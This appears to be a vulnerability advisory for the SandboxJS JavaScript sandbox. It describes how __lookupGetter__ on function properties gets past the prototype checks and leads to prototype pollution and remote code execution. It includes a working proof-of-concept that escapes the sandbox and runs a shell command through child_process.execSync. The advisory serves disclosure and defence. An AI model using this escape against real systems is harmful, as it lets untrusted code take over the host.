Description
Summary
SandboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.
Details
The Object prototype which contains __lookupGetter__ is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.
PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
let getProto = Object.toString.__lookupGetter__("__proto__")
let m = getProto.call(new Map());
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`
sb.compile(payload)().run();
Impact
Prototype Pollution -> RCE
CWEs
- CWE-94 · Improper Control of Generation of Code ('Code Injection')
- CWE-1321 · Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
